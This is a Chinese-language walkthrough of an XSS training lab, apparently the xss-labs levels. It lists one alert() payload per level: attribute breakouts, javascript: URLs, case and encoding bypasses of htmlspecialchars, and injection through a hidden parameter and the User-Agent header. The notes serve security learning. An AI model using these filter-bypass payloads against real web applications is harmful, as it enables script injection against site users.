level1
输入<script>alert("xxs");</script>
level2
对input进行闭合
输入"><script>alert("xxs");</script>
level3
查看源代码是
使用了htmlspecialachars,所有不能使用/或者>
这里使用play:'
但是单引号在这个函数中如果没做特殊的改动,默认是可以出效果
的payload为:' οnmοuseοver='alert(/xss/) //其他payload省略
level4
和一样使用了htmlspecialachars,这里使用"进行闭合
" οnmοuseοver=" alert(/xss/)
level5
poc :"><a href="javascript:alert(1)">test</a>
level6
可以使用大小绕过
poc:"><Script>alert("xxs");</Script>
level8
poc:javascript:alert(1)
使用html实体编码绕过
level9
判断输入的是否有http://
poc:javascript:alert(/xxs/)//http://
level10
找到隐藏参数:
t_sort
然后poc:
t_sort=xss" οnclick=alert(/xss/) type="text"
查看源代码是有t_sort参数的
然后这个input是hidden隐藏的,我们要设置text
所有poc:t_sort=xss" οnclick=alert(/xss/) type="text"
level12
使用user-Agent: xxs" οnclick="alert(1)
level13
可以使用cookie进行破坏
level16
对script, 空格 ,/进行替换
可以使用编码
<img
src=xss
οnmοuseοver=alert('xss')>
url编码然后绕过
level17
全部被实体化
但是embed标签 可以插入事件
所有直接插入:
οnmοuseοver=alert('xss')
level18
一样的对输入的数据全部实体化,还是可以插入οnmοuseοver=alert('xxs')
当鼠标移动到这个位置然后弹出窗口
level19
以上面一样的方法